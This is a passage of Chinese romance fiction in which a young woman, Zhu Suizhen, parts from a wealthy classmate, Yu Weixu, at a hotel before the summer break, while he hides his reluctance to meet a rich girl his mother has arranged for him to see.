俞惟叙一脸“没那个必要”的样子:“哎哟,不差这点儿,你们玩得开心就行了,跟鱼仔还客气什么!” 祝岁祯仰头笑笑,摇了摇头。 他深深地看她的笑容,良久,问道:“你暑假回去有什么安排?” “嗯……暂时没有,在家待着吧。” “你家有什么景点吗?” “章市啊……没有,挺无聊的一个地方,市区里就两条河,郊区有小山,没什么名气。” “也挺好的,我假期要是有空去你家玩。” 祝岁祯没法儿想象,这么一个周游世界的富二代会去她们那小地方。 “玩……倒没什么好玩的。不过欢迎俞总莅临我市调研考察、投资项目。” “哎哟喂,祝市长对我的期望很高啊!” 他垂眼看了看祝市长行李箱上放的一袋东西:“这什么?你来的时候好像没拿袋子。” 祝岁祯低头,把纸袋掀开一点:“我上午紧急去了梦梦和小羊推荐的那个面包店,没开门我就去排队了。 “没错,就是你说的那个‘意大利的烧饼酱香饼’,我带回去给爸妈尝尝。老家那小地方,没这么高级的洋气玩意儿。” 他看着面包笑了笑:“挺好的,就来两天还惦记着家里人。” 祝岁祯想起昨天下午他和他妈妈的电话,似乎不是很愉快,她忍不住问: “你妈妈让你接谁啊?是很厉害的大人物吗?” 他脸上的表情有些不自然:“不是什么大人物,就……我前天跟你说的那个女生,放假回国了。” 祝岁祯恍然大悟:“啊!白富美!这不挺好的么,增进一下感情。” 俞惟叙不怎么开心,眼神复杂地看着她: “如果是两三天前,我无所谓去不去;但现在,我非常不想去。” 祝岁祯思索了下:“这两天你和你妈妈吵架啦?” 俞惟叙叹口气,知道她什么也不懂。 “不是,别的原因,不聊这事了。” 祝岁祯看不懂他眼底的情绪,罢了,人家有的是钱,以后和白富美结婚就更有钱了,哪里用得着她这种底层小民为他着想。 看了眼手机,祝岁祯说:“我得走了,谢谢你这两天的照顾。要是来章市一定告诉我,必须要请你吃饭!” 俞惟叙回给她一个大大的笑容。 “你上去吧,拜拜啦~开学见。” 俞惟叙送她到酒店门口,看着她打遮阳伞、拉行李箱的背影,黯然默立。